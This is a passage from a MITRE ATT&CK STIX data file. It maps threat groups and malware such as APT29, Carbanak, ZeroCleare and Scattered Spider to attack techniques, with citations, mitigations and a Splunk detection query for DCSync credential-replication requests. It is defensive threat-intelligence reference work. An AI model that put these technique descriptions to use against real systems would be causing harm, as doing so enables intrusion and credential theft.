RATANKBA)","relationship_type":"uses","source_ref":"malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f3ea1137-f71c-40af-befa-6141e61f0161","created":"2022-08-15T17:07:49.345Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cybereason StrifeWater Feb 2022","url":"https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations","description":"Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[StrifeWater](https://attack.mitre.org/software/S1034) can self delete to cover its tracks.(Citation: Cybereason StrifeWater Feb 2022)","modified":"2022-08-15T17:07:49.345Z","relationship_type":"uses","source_ref":"malware--fb78294a-7d7a-4d38-8ad0-92e67fddc9f0","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f3ea1672-9401-41cf-9bad-44ee75763cda","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AdSecurity DCSync Sept 2015","description":"Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.","url":"https://adsecurity.org/?p=1729"},{"source_name":"Microsoft DRSR Dec 2017","description":"Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.","url":"https://msdn.microsoft.com/library/cc228086.aspx"},{"source_name":"Microsoft GetNCCChanges","description":"Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.","url":"https://msdn.microsoft.com/library/dd207691.aspx"},{"source_name":"Microsoft SAMR","description":"Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.","url":"https://msdn.microsoft.com/library/cc245496.aspx"},{"source_name":"Samba DRSUAPI","description":"SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.","url":"https://wiki.samba.org/index.php/DRSUAPI"},{"source_name":"Harmj0y DCSync Sept 2015","description":"Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.","url":"http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T14:47:55.821Z","description":"Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Monitor for replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\nAnalytic 1 - Suspicious Replication Requests\n\n sourcetype=WinEventLog:Security EventCode=\"4662\" AND AccessMask= \"0x100\" AND (guid= “1131f6ad-9c07-11d1-f79f-00c04fc2dcd2” OR guid= “1131f6aa-9c07-11d1-f79f-00c04fc2dcd2” OR guid= “9923a32a-3607-11d2-b9be-0000f87a36b2” OR guid= “89e95b76-444d-4c62-991a-0facbeda640c“) ","relationship_type":"detects","source_ref":"x-mitre-data-component--5c6de881-bc70-4070-855a-7a9631a407f7","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f3ebb911-aab1-4aa8-aac8-0dcc2aec5343","created":"2023-03-31T17:27:28.299Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"EnableMPRNotifications","description":"Microsoft. (2023, January 26). Policy CSP - WindowsLogon. Retrieved March 30, 2023.","url":"https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowslogon"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T14:26:39.876Z","description":"Starting in Windows 11 22H2, the `EnableMPRNotifications` policy can be disabled through Group Policy or through a configuration service provider to prevent Winlogon from sending credentials to network providers.(Citation: EnableMPRNotifications)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--90c4a591-d02d-490b-92aa-619d9701ac04","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f3f122f1-998f-4079-afad-7a59e39f89b7","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET T3 Threat Report 2021","description":"ESET. (2022, February). THREAT REPORT T3 2021. Retrieved February 10, 2022.","url":"https://www.welivesecurity.com/wp-content/uploads/2022/02/eset_threat_report_t32021.pdf"},{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"},{"source_name":"Secureworks IRON HEMLOCK Profile","description":"Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022.","url":"http://www.secureworks.com/research/threat-profiles/iron-hemlock"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T19:40:38.050Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used various forms of spearphishing attempting to get a user to open attachments, including, but not limited to, malicious Microsoft Word documents, .pdf, and .lnk files. (Citation: F-Secure The Dukes)(Citation: ESET T3 Threat Report 2021)(Citation: Secureworks IRON HEMLOCK Profile)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f3f4558a-a0bd-4162-92e4-be986ec1511d","type":"relationship","created":"2020-02-11T16:22:47.925Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:47:00.128Z","description":"[Empire](https://attack.mitre.org/software/S0363) has a module for creating a new domain user if permissions allow.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f3f5301d-8861-4c8b-9e28-36aa8581c552","type":"relationship","created":"2020-12-22T17:48:21.493Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}],"modified":"2020-12-22T17:48:21.493Z","description":"(Citation: Crowdstrike GTR2020 Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"malware--8787e86d-8475-4f13-acea-d33eb83b6105","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f3f6c1e3-2474-47ca-8dd8-477e037a51fc","created":"2023-09-30T02:56:24.329Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T04:10:21.815Z","description":"Monitor for the abnormal creation of background processes as well as processes executing from abnormal locations, such as `/dev/shm`.","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--34a80bc4-80f2-46e6-94ff-f3265a4b657c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f3f777de-db0e-4bde-b347-9c5727ef6bb7","type":"relationship","created":"2020-09-11T14:56:37.219Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-09-11T14:56:37.219Z","description":"[Anchor](https://attack.mitre.org/software/S0504) has used NTFS to hide files.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f3f85cfd-557c-45c1-82ae-a9e349c8714c","created":"2023-07-25T20:17:01.114Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-25T20:17:01.114Z","description":"[KOPILUWAK](https://attack.mitre.org/software/S1075) had used Javascript to perform its core functions.(Citation: Mandiant Suspected Turla Campaign February 2023) ","relationship_type":"uses","source_ref":"malware--09fcc02f-f9d4-43fa-8609-5e5e186b7103","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f3faf032-132b-421b-adea-2e95f214807f","created":"2022-09-07T19:28:14.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T14:35:21.752Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors used [Empire](https://attack.mitre.org/software/S0363) to enumerate hosts and gather username, machine name, and administrative permissions information.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f40170e7-5246-442e-95ad-1b810107b8b8","type":"relationship","created":"2021-06-08T13:32:36.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AR21-126A FIVEHANDS May 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."}],"modified":"2021-10-15T21:22:52.219Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) can use a legitimate process name to hide itself.(Citation: CISA AR21-126A FIVEHANDS May 2021)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f40b2e98-47a9-4cd6-a345-7e4618d896e7","created":"2021-12-27T16:53:13.996Z","x_mitre_version":"1.0","external_references":[{"source_name":"Uptycs Confucius APT Jan 2021","url":"https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat","description":"Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Confucius](https://attack.mitre.org/groups/G0142) has lured victims to execute malicious attachments included in crafted spearphishing emails related to current topics.(Citation: Uptycs Confucius APT Jan 2021)","modified":"2022-06-30T20:15:32.710Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f417c73d-20a3-447c-8839-5897e01d2a90","created":"2023-09-30T14:16:30.385Z","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-30T14:16:30.385Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) impersonated legitimate IT personnel in phone calls to direct victims to download a remote monitoring and management (RMM) tool that would allow the adversary to remotely control their system.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--bb5e59c4-abe7-40c7-8196-e373cb1e5974","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4182c2a-c2b3-4866-9f7e-f29e0229dead","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye CARBANAK June 2017","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"}],"modified":"2020-02-11T15:55:06.487Z","description":"[Carbanak](https://attack.mitre.org/software/S0030) exfiltrates data in compressed chunks if a message is larger than 4096 bytes .(Citation: FireEye CARBANAK June 2017)","relationship_type":"uses","source_ref":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f419f8fb-8a3c-423d-8d01-20e99eb63693","created":"2024-08-08T20:07:33.310Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"},{"source_name":"IBM ZeroCleare Wiper December 2019","description":"Kessem, L. (2019, December 4). New Destructive Wiper ZeroCleare Targets Energy Sector in the Middle East. Retrieved September 4, 2024.","url":"https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T19:38:50.232Z","description":"[ZeroCleare](https://attack.mitre.org/software/S1151) can corrupt the file system and wipe the system drive on targeted hosts.(Citation: Mandiant ROADSWEEP August 2022)(Citation: CISA Iran Albanian Attacks September 2022)(Citation: IBM ZeroCleare Wiper December 2019)","relationship_type":"uses","source_ref":"malware--8d8518db-0f52-4f3c-8017-01389a8522bb","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f425ddf8-fc3b-41d5-ba2e-66291ba16329","type":"relationship","created":"2020-11-30T17:05:19.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-30T17:05:19.844Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has obtained valid emails addresses while conducting research against target organizations that were subsequently used in spearphishing campaigns.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4268a0d-0539-46de-bad8-ea72af455585","type":"relationship","created":"2020-12-09T20:58:06.163Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-09T20:58:06.163Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has abused local accounts that have the same password across the victim’s network.(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f42a5342-c28d-46ad-bbd7-3123da43ff86","type":"relationship","created":"2019-06-07T14:30:26.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro IXESHE 2012","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf","description":"Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}],"modified":"2019-06-10T19:28:01.018Z","description":"(Citation: Trend Micro IXESHE 2012)","relationship_type":"uses","source_ref":"intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb","target_ref":"tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4303403-0d93-4267-ba4c-a1d4e20d87cd","type":"relationship","created":"2020-06-30T22:35:00.791Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2020-07-06T14:40:26.270Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) has used a task name associated with Windows SQM Consolidator.(Citation: ESET ComRAT May 2020)","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4315d71-e2aa-4039-acfa-c7737b1e8c86","type":"relationship","created":"2019-10-11T17:29:20.278Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SecureList Griffon May 2019","url":"https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/","description":"Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig “FIN7” continues its activities. Retrieved October 11, 2019."}],"modified":"2019-10-15T17:32:49.695Z","description":"[GRIFFON](https://attack.mitre.org/software/S0417) has used PowerShell to execute the Meterpreter downloader TinyMet.(Citation: SecureList Griffon May 2019)","relationship_type":"uses","source_ref":"malware--04fc1842-f9e4-47cf-8cb8-5c61becad142","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f436f533-1116-499f-b073-9cc7698e18b0","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Darkmoon Aug 2005","description":"Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"}],"modified":"2020-03-16T16:57:13.488Z","description":"[PoisonIvy](https://attack.mitre.org/software/S0012) captures window titles.(Citation: Symantec Darkmoon Aug 2005)","relationship_type":"uses","source_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f439858f-020c-4476-b032-42b3abdc0e19","created":"2022-09-27T20:02:08.052Z","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T20:02:08.052Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has exploited the Microsoft Exchange memory corruption vulnerability (CVE-2020-0688).(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f43ab4db-5dea-4a1f-977a-f5d779330193","created":"2017-05-31T21:33:27.043Z","x_mitre_version":"1.0","external_references":[{"source_name":"Alperovitch 2014","url":"https://web.archive.org/web/20200424075623/https:/www.crowdstrike.com/blog/deep-thought-chinese-targeting-national-security-think-tanks/","description":"Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Deep Panda](https://attack.mitre.org/groups/G0009) uses net.exe to connect to network shares using net use commands with compromised credentials.(Citation: Alperovitch 2014)","modified":"2022-07-20T20:10:29.605Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f43de92c-7a30-4d24-82d1-4537d4fc3fb2","created":"2024-09-03T16:49:20.947Z","revoked":false,"external_references":[{"source_name":"Mandiant_UNC2165","description":"Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T16:49:20.947Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has used SSH for lateral movement.(Citation: Mandiant_UNC2165)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f43dedfa-261d-41af-bb74-e1f2eff5cbae","type":"relationship","created":"2020-06-11T20:08:11.422Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-11T20:08:11.422Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has used an encrypted Virtual File System to store plugins.(Citation: Kaspersky TajMahal April 